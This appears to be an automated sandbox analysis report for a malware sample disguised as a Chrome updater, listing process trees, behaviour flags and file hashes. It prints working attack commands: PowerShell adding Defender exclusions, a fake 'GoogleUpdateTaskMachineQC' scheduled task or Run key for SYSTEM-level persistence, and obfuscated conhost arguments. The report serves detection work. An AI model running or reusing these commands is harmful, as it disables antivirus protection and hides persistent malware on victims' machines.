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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1364
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1388
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4492
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3936
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3456
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1708
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:968
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4672
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 620KB
- SHA256 125749c3c16cbfbba13b3affecc6238879d8c45a5a0449afb243392eeb77461f
- MD5 c6f039c4c8ec4192bde8874613b08674
- SHA1 03f4484e875721ac74367a79001c4b22ba3837e5
- SHA512 97f92cee7d013bac06f64d0532498097638e6291d4e403afbea0bf1fdd56c97c76ea5477f1d1f7b9c17f0bd73961657e71814fa9b29ebb3d786ae6bea573a23a
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kO:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 202KB
- SHA256 35c53d0730b71b926b7633c9251a54040278442509ec186574ead0839e1ce166
- MD5 316eda9c480f38fbb7545c7cc9fd5ab9
- SHA1 2047e637bdc7292b0d3fa55ffe20bdbe0e86bd99
- SHA512 5b7e6c2a82fbfa2f7b1eff661d25b2a92591ec452e808b6a8e31935c0e1cbba7fb20cb5cbf5e69ec2311c0138cfb67b2860bd3d825c698cc19846040eddefcc6
- SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajL:rWVi46hyqG2ckwLxgajL
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 c660f0db85a1e7f0f68db19868979bf50bd541531babf77a701e1b1ce5e6a391
- MD5 e448fe0d240184c6597a31d3be2ced58
- SHA1 372b8d8c19246d3e38cd3ba123cc0f56070f03cd
- SHA512 0b7f7eae7700d32b18eee3677cb7f89b46ace717fa7e6b501d6c47d54f15dff7e12b49f5a7d36a6ffe4c16165c7d55162db4f3621db545b6af638035752beab4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
- MD5 04dab1e7226930c3346286e214d84945
- SHA1 86718b6314c8e64616e9694736da495d3e2ae4be
- SHA512 98e153baebbac0d5d20468e6abe70bb5dd7723bc5a03ae6164cb48e4921e2fb910cfb36bdb63c0ca18746bc9839d50cc353d092f98ac50739c108b35b3fe78a0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqdwegir.yfh.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512